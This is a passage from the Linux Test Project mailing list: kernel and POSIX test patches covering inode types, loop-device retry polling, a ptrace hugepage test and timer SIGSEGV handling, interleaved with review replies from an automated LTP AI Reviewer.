diff --git a/testcases/kernel/fs/inode/inode01.c b/testcases/kernel/fs/inode/inode01.c
index 2816ad61a..50b5311a4 100644
--- a/testcases/kernel/fs/inode/inode01.c
+++ b/testcases/kernel/fs/inode/inode01.c
@@ -36,7 +36,7 @@ static struct tcase {
 };
 
 struct inode_info {
-	ino_t ino;
+	uint64_t ino;
 	char path[PATH_MAX];
 };
 
@@ -68,13 +68,13 @@ static void create_tree(const struct tcase *tc, const char *parent,
 }
 
 static void record_inode(struct inode_info *inodes, unsigned int idx,
-			 const char *path, ino_t ino)
+			 const char *path, uint64_t ino)
 {
 	inodes[idx].ino = ino;
 	snprintf(inodes[idx].path, sizeof(inodes[idx].path), "%s", path);
 }
 
-static ino_t verify_file(const struct tcase *tc, const char *path)
+static uint64_t verify_file(const struct tcase *tc, const char *path)
 {
 	char buf[PATH_MAX];
 	char extra;
@@ -128,7 +128,7 @@ static void verify_tree(const struct tcase *tc, const char *parent,
 	for (i = 0; i < tc->fanout; i++, create_file = !create_file) {
 		char path[PATH_MAX];
 		unsigned int my_id;
-		ino_t ino;
+		uint64_t ino;
 
 		snprintf(path, sizeof(path), "%s/%08u", parent, ++*id);
 
-- 
2.55.0.654.g21b8a5bc05-goog


From linuxtestproject.agent@gmail.com  Sat Aug  8 01:36:11 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 23:36:11 +0000
Subject: [LTP] inode01: Use uint64_t to prevent inode truncation on
 32-bit
In-Reply-To: <20260807231752.3218267-1-wakel@google.com>
References: <20260807231752.3218267-1-wakel@google.com>
Message-ID: <20260807233611.8714-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On August 7, 2026, Wake Liu wrote:
> inode01: Use uint64_t to prevent inode truncation on 32-bit

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From wakel@google.com  Sat Aug  8 01:49:35 2026
From: wakel@google.com (Wake Liu)
Date: Fri,  7 Aug 2026 23:49:35 +0000
Subject: [LTP] [PATCH v6] lib: Use backoff polling to wait for loop device
 nodes
In-Reply-To: <20260807110541.8702-1-linuxtestproject.agent@gmail.com>
References: <20260807110541.8702-1-linuxtestproject.agent@gmail.com>
Message-ID: <20260807234935.3248935-1-wakel@google.com>

On systems where loop device node creation is asynchronous (such as Android
containers or systems with slow udev startup), calling stat() or open()
immediately after LOOP_CTL_GET_FREE can transiently fail because the
device file (e.g. /dev/loopX) has not been fully populated in time.

Introduce an exponential-backoff retry loop in both
tst_find_free_loopdev() and tst_attach_device() by reusing the LTP native
TST_RETRY_FN_EXP_BACKOFF() macro (starting at 1us delay, doubling each try,
with a base timeout limit of 1 second that scales automatically with
LTP_TIMEOUT_MUL) to wait for the device node to be successfully populated.

This improves the robustness of loop device allocations on asynchronous
virtualized environments while minimizing unnecessary delays on responsive
systems.

Signed-off-by: Wake Liu <wakel@google.com>
---
v5 -> v6:
 - Correct timing descriptions in commit message to match the actual behavior of TST_RETRY_FN_EXP_BACKOFF() macro (1us initial delay, 1s base timeout).

v4 -> v5:
 - Declare tst_multiply_timeout() in tst_common.h to fix old API build failures in CI.

v3 -> v4:
 - Rebase onto the latest LTP HEAD.
 - Remove self-referencing Link in commit message.

v2 -> v3:
 - Reuse LTP native TST_RETRY_FN_EXP_BACKOFF() macro in tst_common.h to simplify code.

v1 -> v2:
 - Strictly clamp backoff delay to 100ms (prevent overflow exceeding cap).
 - Skip usleep on final loop iteration to avoid unnecessary idle delay.
 - Reduce max attempts to 30 (stat) and 15 (open) to bound worst-case timeout.

 include/tst_common.h |  2 ++
 lib/tst_device.c     | 13 +++++++++----
 2 files changed, 11 insertions(+), 4 deletions(-)

diff --git a/include/tst_common.h b/include/tst_common.h
index e1f7c7907..d09edbbbe 100644
--- a/include/tst_common.h
+++ b/include/tst_common.h
@@ -26,6 +26,8 @@
 #define LTP_ALIGN(x, a)    __LTP_ALIGN_MASK(x, (typeof(x))(a) - 1)
 #define __LTP_ALIGN_MASK(x, mask)  (((x) + (mask)) & ~(mask))
 
+unsigned int tst_multiply_timeout(unsigned int timeout);
+
 /**
  * TST_RETRY_FUNC() - Repeatedly retry a function with an increasing delay.
  * @FUNC - The function which will be retried
diff --git a/lib/tst_device.c b/lib/tst_device.c
index 744173ffe..00304711b 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -82,7 +82,7 @@ static int set_dev_path(char *dev, char *path, size_t path_len)
 
 int tst_find_free_loopdev(char *path, size_t path_len)
 {
-	int ctl_fd, dev_fd, rc, i;
+	int ctl_fd, dev_fd, rc, i, path_set;
 	struct loop_info loopinfo;
 	char buf[PATH_MAX];
 
@@ -93,8 +93,13 @@ int tst_find_free_loopdev(char *path, size_t path_len)
 		rc = ioctl(ctl_fd, LOOP_CTL_GET_FREE);
 		close(ctl_fd);
 		if (rc >= 0) {
-			if (path && set_dev_loop_path(rc, path, path_len))
-				tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			if (path) {
+				path_set = TST_RETRY_FN_EXP_BACKOFF(
+					set_dev_loop_path(rc, path, path_len),
+					TST_RETVAL_EQ0, 1);
+				if (path_set)
+					tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			}
 			tst_resm(TINFO, "Found free device %d '%s'",
 				rc, path ?: "");
 			return rc;
@@ -161,7 +166,7 @@ int tst_attach_device(const char *dev, const char *file)
 			 LO_NAME_SIZE);
 	}
 
-	dev_fd = open(dev, O_RDWR);
+	dev_fd = TST_RETRY_FN_EXP_BACKOFF(open(dev, O_RDWR), TST_RETVAL_GE0, 1);
 	if (dev_fd < 0) {
 		tst_resm(TWARN | TERRNO, "open('%s', O_RDWR) failed", dev);
 		return 1;
-- 
2.55.0.654.g21b8a5bc05-goog


From linuxtestproject.agent@gmail.com  Sat Aug  8 03:32:46 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sat,  8 Aug 2026 01:32:46 +0000
Subject: [LTP] lib: Use backoff polling to wait for loop device nodes
In-Reply-To: <20260807234935.3248935-1-wakel@google.com>
References: <20260807234935.3248935-1-wakel@google.com>
Message-ID: <20260808013246.12398-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Fri, 7 Aug 2026, Wake Liu wrote:
> lib: Use backoff polling to wait for loop device nodes

> +				path_set = TST_RETRY_FN_EXP_BACKOFF(
> +					set_dev_loop_path(rc, path, path_len),
> +					TST_RETVAL_EQ0, 1);

Could the backoff arithmetic be made overflow-safe before these two new
uses?

LTP_TIMEOUT_MUL=3000 is accepted by parse_mul(), which makes
tst_max_delay_ 3,000,000,000. The unsigned int tst_delay_ reaches
2,147,483,648, still compares less than tst_max_delay_, and then doubles
to zero. If the device node does not appear, both new paths then retry
forever instead of honoring the multiplied timeout.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pavrampu@linux.ibm.com  Sat Aug  8 17:02:38 2026
From: pavrampu@linux.ibm.com (Pavithra)
Date: Sat,  8 Aug 2026 20:32:38 +0530
Subject: [LTP] [PATCH v5] hugemmap/hugemmap41: Migrate ptrace-write-hugepage
 from libhugetlbfs
Message-ID: <20260808150238.1526150-1-pavrampu@linux.ibm.com>

This test verifies that ptrace POKEDATA and PEEKDATA operations work
correctly on hugepage-backed memory regions. Migrating it to LTP as
libhugetlbfs is not actively maintained.

Signed-off-by: Pavithra <pavrampu@linux.ibm.com>
---
v4 -> v5:
- Replace ptrace PTRACE_POKEDATA and PTRACE_ATTACH calls with SAFE_PTRACE().
- Use TST_EXP_EQ_LI() to verify peeked memory values.
- Replace TST_PROCESS_STATE_WAIT() with SAFE_WAITPID() and WIFSTOPPED() check.
- Simplify SAFE_CLOSE() cleanup logic and remove redundant comments.
- Reduce required hugepages from 4 to 1.
link to v1: https://lore.kernel.org/ltp/20260717180533.1203314-1-pavrampu@linux.ibm.com/
---
 runtest/hugetlb                               |   1 +
 testcases/kernel/mem/.gitignore               |   1 +
 .../kernel/mem/hugetlb/hugemmap/hugemmap41.c  | 136 ++++++++++++++++++
 3 files changed, 138 insertions(+)
 create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c

diff --git a/runtest/hugetlb b/runtest/hugetlb
index 6b35c1f42..621c9718a 100644
--- a/runtest/hugetlb
+++ b/runtest/hugetlb
@@ -40,6 +40,7 @@ hugemmap35 hugemmap35
 hugemmap36 hugemmap36
 hugemmap37 hugemmap37
 hugemmap38 hugemmap38
+hugemmap41 hugemmap41
 hugemmap05_1 hugemmap05 -m
 hugemmap05_2 hugemmap05 -s
 hugemmap05_3 hugemmap05 -s -m
diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore
index e63a6dde7..9e706e1c8 100644
--- a/testcases/kernel/mem/.gitignore
+++ b/testcases/kernel/mem/.gitignore
@@ -40,6 +40,7 @@
 /hugetlb/hugemmap/hugemmap36
 /hugetlb/hugemmap/hugemmap37
 /hugetlb/hugemmap/hugemmap38
+/hugetlb/hugemmap/hugemmap41
 /hugetlb/hugeshmat/hugeshmat01
 /hugetlb/hugeshmat/hugeshmat02
 /hugetlb/hugeshmat/hugeshmat03
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
new file mode 100644
index 000000000..224de254f
--- /dev/null
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
@@ -0,0 +1,136 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation.
+ * Copyright (c) 2026 Pavithra <pavrampu@linux.ibm.com>
+ */
+
+/*\
+ * Test :manpage:`ptrace(2)` write to hugepage memory.
+ *
+ * A child process maps a hugepage via hugetlbfs, zeroes it, and sends
+ * the mapped address to the parent. The parent attaches with
+ * :manpage:`ptrace(2)`, then uses PTRACE_POKEDATA and PTRACE_PEEKDATA
+ * to write and read back a known value at two different offsets within
+ * the hugepage, verifying that ptrace operates correctly on
+ * hugepage-backed memory regions.
+ *
+ * Requires root to mount hugetlbfs and for :manpage:`ptrace(2)`
+ * PTRACE_ATTACH to work across processes when ptrace_scope is
+ * restrictive.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "hugetlb.h"
+
+#define CONST	0xdeadbeefL
+#define MNTPOINT "hugetlbfs/"
+
+static long hpage_size;
+static int fd = -1;
+
+static void child(int hugefd, int pipefd[2])
+{
+	void *p;
+
+	SAFE_CLOSE(pipefd[0]);
+
+	p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED,
+		      hugefd, 0);
+
+	memset(p, 0, hpage_size);
+
+	tst_res(TINFO, "Child mapped data at %p", p);
+
+	SAFE_WRITE(SAFE_WRITE_ALL, pipefd[1], &p, sizeof(p));
+	SAFE_CLOSE(pipefd[1]);
+
+	pause();
+	/* Child is killed by parent via SIGKILL, so cleanup is not reached */
+}
+
+static void do_poke(pid_t pid, void *p)
+{
+	tst_res(TINFO, "Poking at %p...", p);
+	SAFE_PTRACE(PTRACE_POKEDATA, pid, p, (void *)CONST);
+
+	tst_res(TINFO, "Peeking at %p...", p);
+	TEST(ptrace(PTRACE_PEEKDATA, pid, p, NULL));
+	if (TST_ERR)
+		tst_brk(TFAIL | TTERRNO, "ptrace(PEEKDATA) failed");
+
+	TST_EXP_EQ_LI(TST_RET, CONST);
+}
+
+static void run_test(void)
+{
+	int pipefd[2];
+	pid_t cpid;
+	void *p;
+	int status;
+
+	fd = tst_creat_unlinked(MNTPOINT, 0, 0600);
+
+	SAFE_PIPE(pipefd);
+
+	cpid = SAFE_FORK();
+
+	if (cpid == 0) {
+		child(fd, pipefd);
+		exit(0);
+	}
+
+	SAFE_CLOSE(pipefd[1]);
+	SAFE_READ(1, pipefd[0], &p, sizeof(p));
+	SAFE_CLOSE(pipefd[0]);
+
+	tst_res(TINFO, "Parent received address %p", p);
+
+	SAFE_PTRACE(PTRACE_ATTACH, cpid, NULL, NULL);
+
+	SAFE_WAITPID(cpid, &status, 0);
+	if (!WIFSTOPPED(status))
+		tst_brk(TBROK, "Child %d was not stopped", cpid);
+
+	do_poke(cpid, p);
+	do_poke(cpid, p + getpagesize());
+
+	SAFE_KILL(cpid, SIGKILL);
+	SAFE_WAITPID(cpid, &status, 0);
+
+	SAFE_CLOSE(fd);
+
+	tst_res(TPASS, "ptrace write to hugepage succeeded");
+}
+
+static void setup(void)
+{
+	hpage_size = tst_get_hugepage_size();
+}
+
+static void cleanup(void)
+{
+	if (fd != -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tags = (struct tst_tag[]) {
+		{"linux-git", "ebed4bfc8da8"},
+		{}
+	},
+	.needs_root = 1,
+	.mntpoint = MNTPOINT,
+	.needs_hugetlbfs = 1,
+	.hugepages = {1, TST_NEEDS},
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run_test,
+};
-- 
2.55.0


From avinesh.kumar@suse.com  Sat Aug  8 17:03:31 2026
From: avinesh.kumar@suse.com (Avinesh Kumar)
Date: Sat,  8 Aug 2026 17:03:31 +0200
Subject: [LTP] [PATCH v2] openposix: timer_*/speculative: Handle SIGSEGV on
 invalid timer ID
Message-ID: <20260808150331.127440-1-avinesh.kumar@suse.com>

From: Avinesh Kumar <avinesh.kumar@suse.com>

timer_delete/speculative/5-1, timer_getoverrun/speculative/6-1,
timer_gettime/speculative/6-1 and timer_settime/speculative/12-1
all pass a bogus value as an invalid timer_t timerid.
On i586, glibc dereferences timer_t as a pointer into
internal state, and the bogus pointer causes a SIGSEGV
instead of the tests' expected EINVAL:

  timer_delete_sp[22499]: segfault at 7f4982f0 ip b7e07824 sp bfa4c140 error 4 in libc.so.6[a4824,b7d87000+191000]

POSIX defines no required behavior for an invalid timer ID (EINVAL is
only a recommendation), so a SIGSEGV is just as valid an outcome.

Signed-off-by: Avinesh Kumar <avinesh.kumar@suse.com>
---
 .../interfaces/timer_delete/speculative/5-1.c | 19 ++++++++++++++++++
 .../timer_getoverrun/speculative/6-1.c        | 19 ++++++++++++++++++
 .../timer_gettime/speculative/6-1.c           | 20 +++++++++++++++++++
 .../timer_settime/speculative/12-1.c          | 20 +++++++++++++++++++
 4 files changed, 78 insertions(+)

diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c
index 912cf5800e6f..af01f72a59d1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c
@@ -13,16 +13,35 @@
 #include <time.h>
 #include <stdio.h>
 #include <errno.h>
+#include <signal.h>
+#include <unistd.h>
 #include "posixtest.h"
 
 #define BOGUSTIMERID 99999
 
+/*
+ * when timerid argument does not correspond to a timer ID returned by
+ * timer_create(), POSIX recommends EINVAL, but SIGSEGV is also
+ * valid outcome.
+ */
+static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED)
+{
+	PTS_WRITE_MSG("Got SIGSEGV when calling timer_delete() with an invalid timer ID\n");
+	PTS_WRITE_MSG("Test PASSED\n");
+	_exit(PTS_PASS);
+}
+
 int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED)
 {
 	timer_t tid;
 	int tval = BOGUSTIMERID;
+	struct sigaction sa = { .sa_handler = sigsegv_handler };
+
 	tid = (timer_t) & tval;
 
+	sigfillset(&sa.sa_mask);
+	sigaction(SIGSEGV, &sa, NULL);
+
 	if (timer_delete(tid) == -1) {
 		if (errno == EINVAL) {
 			printf
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c
index 6e18560e5084..faaa4bc09329 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c
@@ -13,16 +13,35 @@
 #include <time.h>
 #include <stdio.h>
 #include <errno.h>
+#include <signal.h>
+#include <unistd.h>
 #include "posixtest.h"
 
 #define BOGUSTID 9999
 
+/*
+ * when timerid argument does not correspond to a timer ID returned by
+ * timer_create(), POSIX recommends EINVAL, but SIGSEGV is also
+ * valid outcome.
+ */
+static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED)
+{
+	PTS_WRITE_MSG("Got SIGSEGV when calling timer_getoverrun() with an invalid timer ID\n");
+	PTS_WRITE_MSG("Test PASSED\n");
+	_exit(PTS_PASS);
+}
+
 int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED)
 {
 	timer_t tid;
 	int tval = BOGUSTID;
+	struct sigaction sa = { .sa_handler = sigsegv_handler };
+
 	tid = (timer_t) & tval;
 
+	sigfillset(&sa.sa_mask);
+	sigaction(SIGSEGV, &sa, NULL);
+
 	if (timer_getoverrun(tid) == -1) {
 		if (EINVAL == errno) {
 			printf("fcn returned -1 and errno=EINVAL\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c
index d09c2f70901d..91c8aaad59c6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c
@@ -13,16 +13,36 @@
 #include <time.h>
 #include <stdio.h>
 #include <errno.h>
+#include <signal.h>
+#include <unistd.h>
 #include "posixtest.h"
 
 #define BOGUSTID 9999
 
+/*
+ * when timerid argument does not correspond to a timer ID returned by
+ * timer_create(), POSIX recommends EINVAL, but SIGSEGV is also
+ * valid outcome.
+ */
+static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED)
+{
+	PTS_WRITE_MSG("Got SIGSEGV when calling timer_gettime() with an invalid timer ID\n");
+	PTS_WRITE_MSG("Test PASSED\n");
+	_exit(PTS_PASS);
+}
+
 int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED)
 {
 	timer_t tid;
 	struct itimerspec its;
 	int tval = BOGUSTID;
+	struct sigaction sa = { .sa_handler = sigsegv_handler };
+
 	tid = (timer_t) & tval;
+
+	sigfillset(&sa.sa_mask);
+	sigaction(SIGSEGV, &sa, NULL);
+
 	if (timer_gettime(tid, &its) == -1) {
 		if (EINVAL == errno) {
 			printf("fcn returned -1 and errno==EINVAL\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c
index 5d4e1dda30ba..092ca723975d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c
@@ -12,16 +12,36 @@
 #include <time.h>
 #include <stdio.h>
 #include <errno.h>
+#include <signal.h>
+#include <unistd.h>
 #include "posixtest.h"
 
 #define BOGUSTID 9999
 
+/*
+ * when timerid argument does not correspond to a timer ID returned by
+ * timer_create(), POSIX recommends EINVAL, but SIGSEGV is also
+ * valid outcome.
+ */
+static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED)
+{
+	PTS_WRITE_MSG("Got SIGSEGV when calling timer_settime() with an invalid timer ID\n");
+	PTS_WRITE_MSG("Test PASSED\n");
+	_exit(PTS_PASS);
+}
+
 int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED)
 {
 	timer_t tid;
 	struct itimerspec its;
 	int tval = BOGUSTID;
+	struct sigaction sa = { .sa_handler = sigsegv_handler };
+
 	tid = (timer_t) & tval;
+
+	sigfillset(&sa.sa_mask);
+	sigaction(SIGSEGV, &sa, NULL);
+
 	its.it_interval.tv_sec = 0;
 	its.it_interval.tv_nsec = 0;
 	its.it_value.tv_sec = 0;
-- 
2.55.0


From linuxtestproject.agent@gmail.com  Sat Aug  8 17:30:58 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sat,  8 Aug 2026 15:30:58 +0000
Subject: [LTP] hugemmap/hugemmap41: Migrate ptrace-write-hugepage from
 libhugetlbfs
In-Reply-To: <20260808150238.1526150-1-pavrampu@linux.ibm.com>
References: <20260808150238.1526150-1-pavrampu@linux.ibm.com>
Message-ID: <20260808153058.4043-1-linuxtestproject.agent@gmail.com>

Hi Pavithra,

On Sat, 08 Aug 2026, Pavithra wrote:
> hugemmap/hugemmap41: Migrate ptrace-write-hugepage from libhugetlbfs

> +#define CONST	0xdeadbeefL
> [...]
> +	TST_EXP_EQ_LI(TST_RET, CONST);

Could this comparison preserve unsigned-long semantics? On 32-bit targets,
CONST is an unsigned long, while PTRACE_PEEKDATA returns the same bit pattern
as a negative signed long. TST_EXP_EQ_LI() converts them separately to signed
long long, producing -559038737 and 3735928559, so every successful peek is
reported as TFAIL.

> +/hugetlb/hugemmap/hugemmap41

Could this entry be placed in a .gitignore under
testcases/kernel/mem/hugetlb/hugemmap/? New test binaries should be ignored
in their own test directory rather than in a parent .gitignore.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Sat Aug  8 17:31:04 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sat,  8 Aug 2026 15:31:04 +0000
Subject: [LTP] openposix: timer_*/speculative: Handle SIGSEGV on invalid
 timer ID
In-Reply-To: <20260808150331.127440-1-avinesh.kumar@suse.com>
References: <20260808150331.127440-1-avinesh.kumar@suse.com>
Message-ID: <20260808153104.35823-1-linuxtestproject.agent@gmail.com>

Hi Avinesh,

On Sat, 8 Aug 2026 17:03:31 +0200, Avinesh Kumar wrote:
> openposix: timer_*/speculative: Handle SIGSEGV on invalid timer ID

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pavrampu@linux.ibm.com  Sat Aug  8 19:02:45 2026
From: pavrampu@linux.ibm.com (Pavithra)
Date: Sat,  8 Aug 2026 22:32:45 +0530
Subject: [LTP] [PATCH v6] hugemmap/hugemmap41: Migrate ptrace-write-hugepage
 from libhugetlbfs
Message-ID: <20260808170245.1548019-1-pavrampu@linux.ibm.com>

This test verifies that ptrace POKEDATA and PEEKDATA operations work
correctly on hugepage-backed memory regions. Migrating it to LTP as
libhugetlbfs is not actively maintained.

Signed-off-by: Pavithra <pavrampu@linux.ibm.com>
---
v5 -> v6:
- Use TST_EXP_EQ_LU((unsigned long)TST_RET, CONST) instead of TST_EXP_EQ_LI() to preserve unsigned long semantics and prevent sign-extension failure on 32-bit targets.
link to v5: https://lore.kernel.org/ltp/20260808150238.1526150-1-pavrampu@linux.ibm.com/
---
 runtest/hugetlb                               |   1 +
 testcases/kernel/mem/.gitignore               |   1 +
 .../kernel/mem/hugetlb/hugemmap/hugemmap41.c  | 136 ++++++++++++++++++
 3 files changed, 138 insertions(+)
 create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c

diff --git a/runtest/hugetlb b/runtest/hugetlb
index 6b35c1f42..621c9718a 100644
--- a/runtest/hugetlb
+++ b/runtest/hugetlb
@@ -40,6 +40,7 @@ hugemmap35 hugemmap35
 hugemmap36 hugemmap36
 hugemmap37 hugemmap37
 hugemmap38 hugemmap38
+hugemmap41 hugemmap41
 hugemmap05_1 hugemmap05 -m
 hugemmap05_2 hugemmap05 -s
 hugemmap05_3 hugemmap05 -s -m
diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore
index e63a6dde7..9e706e1c8 100644
--- a/testcases/kernel/mem/.gitignore
+++ b/testcases/kernel/mem/.gitignore
@@ -40,6 +40,7 @@
 /hugetlb/hugemmap/hugemmap36
 /hugetlb/hugemmap/hugemmap37
 /hugetlb/hugemmap/hugemmap38
+/hugetlb/hugemmap/hugemmap41
 /hugetlb/hugeshmat/hugeshmat01
 /hugetlb/hugeshmat/hugeshmat02
 /hugetlb/hugeshmat/hugeshmat03
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
new file mode 100644
index 000000000..70f29edb8
--- /dev/null
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
@@ -0,0 +1,136 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation.
+ * Copyright (c) 2026 Pavithra <pavrampu@linux.ibm.com>
+ */
+
+/*\
+ * Test :manpage:`ptrace(2)` write to hugepage memory.
+ *
+ * A child process maps a hugepage via hugetlbfs, zeroes it, and sends
+ * the mapped address to the parent. The parent attaches with
+ * :manpage:`ptrace(2)`, then uses PTRACE_POKEDATA and PTRACE_PEEKDATA
+ * to write and read back a known value at two different offsets within
+ * the hugepage, verifying that ptrace operates correctly on
+ * hugepage-backed memory regions.
+ *
+ * Requires root to mount hugetlbfs and for :manpage:`ptrace(2)`
+ * PTRACE_ATTACH to work across processes when ptrace_scope is
+ * restrictive.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "hugetlb.h"
+
+#define CONST	0xdeadbeefL
+#define MNTPOINT "hugetlbfs/"
+
+static long hpage_size;
+static int fd = -1;
+
+static void child(int hugefd, int pipefd[2])
+{
+	void *p;
+
+	SAFE_CLOSE(pipefd[0]);
+
+	p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED,
+		      hugefd, 0);
+
+	memset(p, 0, hpage_size);
+
+	tst_res(TINFO, "Child mapped data at %p", p);
+
+	SAFE_WRITE(SAFE_WRITE_ALL, pipefd[1], &p, sizeof(p));
+	SAFE_CLOSE(pipefd[1]);
+
+	pause();
+	/* Child is killed by parent via SIGKILL, so cleanup is not reached */
+}
+
+static void do_poke(pid_t pid, void *p)
+{
+	tst_res(TINFO, "Poking at %p...", p);
+	SAFE_PTRACE(PTRACE_POKEDATA, pid, p, (void *)CONST);
+
+	tst_res(TINFO, "Peeking at %p...", p);
+	TEST(ptrace(PTRACE_PEEKDATA, pid, p, NULL));
+	if (TST_ERR)
+		tst_brk(TFAIL | TTERRNO, "ptrace(PEEKDATA) failed");
+
+	TST_EXP_EQ_LU((unsigned long)TST_RET, CONST);
+}
+
+static void run_test(void)
+{
+	int pipefd[2];
+	pid_t cpid;
+	void *p;
+	int status;
+
+	fd = tst_creat_unlinked(MNTPOINT, 0, 0600);
+
+	SAFE_PIPE(pipefd);
+
+	cpid = SAFE_FORK();
+
+	if (cpid == 0) {
+		child(fd, pipefd);
+		exit(0);
+	}
+
+	SAFE_CLOSE(pipefd[1]);
+	SAFE_READ(1, pipefd[0], &p, sizeof(p));
+	SAFE_CLOSE(pipefd[0]);
+
+	tst_res(TINFO, "Parent received address %p", p);
+
+	SAFE_PTRACE(PTRACE_ATTACH, cpid, NULL, NULL);
+
+	SAFE_WAITPID(cpid, &status, 0);
+	if (!WIFSTOPPED(status))
+		tst_brk(TBROK, "Child %d was not stopped", cpid);
+
+	do_poke(cpid, p);
+	do_poke(cpid, p + getpagesize());
+
+	SAFE_KILL(cpid, SIGKILL);
+	SAFE_WAITPID(cpid, &status, 0);
+
+	SAFE_CLOSE(fd);
+
+	tst_res(TPASS, "ptrace write to hugepage succeeded");
+}
+
+static void setup(void)
+{
+	hpage_size = tst_get_hugepage_size();
+}
+
+static void cleanup(void)
+{
+	if (fd != -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tags = (struct tst_tag[]) {
+		{"linux-git", "ebed4bfc8da8"},
+		{}
+	},
+	.needs_root = 1,
+	.mntpoint = MNTPOINT,
+	.needs_hugetlbfs = 1,
+	.hugepages = {1, TST_NEEDS},
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run_test,
+};
-- 
2.55.0


From linuxtestproject.agent@gmail.com  Sat Aug  8 19:33:21 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sat,  8 Aug 2026 17:33:21 +0000
Subject: [LTP] hugemmap/hugemmap41: Migrate ptrace-write-hugepage from
 libhugetlbfs
In-Reply-To: <20260808170245.1548019-1-pavrampu@linux.ibm.com>
References: <20260808170245.1548019-1-pavrampu@linux.ibm.com>
Message-ID: <20260808173321.9129-1-linuxtestproject.agent@gmail.com>

Hi Pavithra,

On Sat, Aug 8, 2026, Pavithra wrote:
> hugemmap/hugemmap41: Migrate ptrace-write-hugepage from libhugetlbfs

> +/hugetlb/hugemmap/hugemmap41

Could this entry be placed in
testcases/kernel/mem/hugetlb/hugemmap/.gitignore as /hugemmap41 instead?
New test binaries should be ignored in their leaf test directory rather
than extending the legacy testcases/kernel/mem/.gitignore list.

